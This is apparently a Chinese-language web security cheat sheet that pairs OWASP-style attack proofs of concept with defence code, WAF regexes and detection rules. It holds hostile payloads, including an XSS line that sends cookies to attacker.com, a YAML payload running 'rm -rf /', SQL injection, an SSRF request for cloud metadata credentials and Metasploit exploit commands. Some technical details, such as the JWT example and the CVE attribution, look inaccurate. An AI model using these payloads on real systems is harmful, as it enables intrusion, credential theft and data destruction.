🔥 攻击利用链 + 防御规则(按风险排序)
1. 失效的访问控制
PoC攻击:
http
GET /api/v1/admin/users HTTP/1.1
Host: target.com
Cookie: session=eyJyb2xlIjoidXNlciJ9 # 普通用户JWT
➜ 篡改JWT为管理员:eyJyb2xlIjoiYWRtaW4ifQ==
防御规则:
python
# Flask 强制角色验证中间件
def admin_required(fn):
def wrapper(*args, **kwargs):
if current_user.role != "admin":
abort(403) # 即时阻断
return fn(*args, **kwargs)
return wrapper
2. SQL注入(经典攻击)
PoC利用:
sql
' UNION SELECT username, password FROM users--
防御方案:
java
// 使用PreparedStatement + 正则过滤(防绕过)
String safeInput = input.replaceAll("[^a-zA-Z0-9_@.]", "");
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE email = ?");
stmt.setString(1, safeInput);
检测规则:
- WAF 正则:
/(\bUNION\b.*\bSELECT\b|\b(SLEEP|BENCHMARK)\(.*\))/i
3. XSS(存储型)
PoC构造:
html
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
防御框架方案:
react
// React自动转义(无需额外处理)
function UserProfile({ bio }) {
return <div>{bio}</div>; // 自动防御XSS
}
传统后端过滤:
python
# Django内置过滤器
from django.utils.html import escape
user_input = escape(request.POST["comment"])
4. 不安全的设计(密码重置漏洞)
PoC流程:
- 访问:
POST /reset-password?user=admin - 拦截响应→ 修改JSON:
{"token":"attacker_token"} - 重设管理员密码
防御设计:
请求重置
后端生成唯一Token绑定用户ID
发送Token至用户注册邮箱
校验Token与用户ID匹配才允许修改
5. 安全配置错误(敏感泄露)
PoC利用:
bash
curl -I https://target.com
# 发现 Header: Server: nginx/1.18.0
防御自动化:
nginx
# 强制隐藏服务器信息
server_tokens off;
add_header X-Content-Type-Options "nosniff";
⚔️ 高级攻击手法(2024新增威胁)
6. 软件与数据完整性失效
PoC案例(SaltStack CVE-2020-16846):
python
# 恶意YAML文件触发RCE
!!python/object/apply:os.system ["rm -rf /"]
防御方案:
-
校验文件哈希:
sha256sum package.tar.gz -
使用Syft 扫描组件:
bashsyft packages:scan --scope all docker:your-image
7. 服务器端请求伪造(SSRF)
PoC利用:
GET /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
防御规则链:
-
网络层:防火墙阻断出站到
169.254.0.0/16 -
代码层:
nodejsconst blockedIPs = ["127.0.0.1", "169.254.169.254"]; if (blockedIPs.some(ip => url.includes(ip))) throw new Error("SSRF拒绝");
🔍 攻击检测体系建议
分层防御规则模板
| 攻击类型 | SAST规则(代码层) | RASP(运行时) | 日志监控(ELK) |
|---|---|---|---|
| SQL注入 | 检测未参数化查询 | 拦截异常SQL语法 | 告警' OR 1=1--等特征 |
| 文件上传漏洞 | 检查后缀名白名单 | 阻断Web根目录写入 | 监控/uploads/目录.php文件执行 |
| SSRF | 校验URL输入是否为内网IP | 拦截访问元数据服务请求 | 统计异常外连(如AWS元数据URL) |
⚙️ 自动化攻防工具链
-
攻击模拟 :
- OWASP ZAP:自动化扫描API端点(含GraphQL注入测试)
bashzap-cli quick-scan -s xss,sqli https://target.com/api -
防御验证 :
- nuclei:检测已知漏洞
bashnuclei -t cves/ -u https://target.com -
渗透测试框架 :
bash# 使用Metasploit测试RCE(示例) msf6> use exploit/multi/http/log4shell msf6> set RHOSTS target.com msf6> exploit
💡 Tips:
- 攻击规则需覆盖 3个维度:输入验证(前端)、业务逻辑(后端)、基础设施(云/网络)
- 每季度更新WAF规则:从OWASP Core Rule Set同步最新策略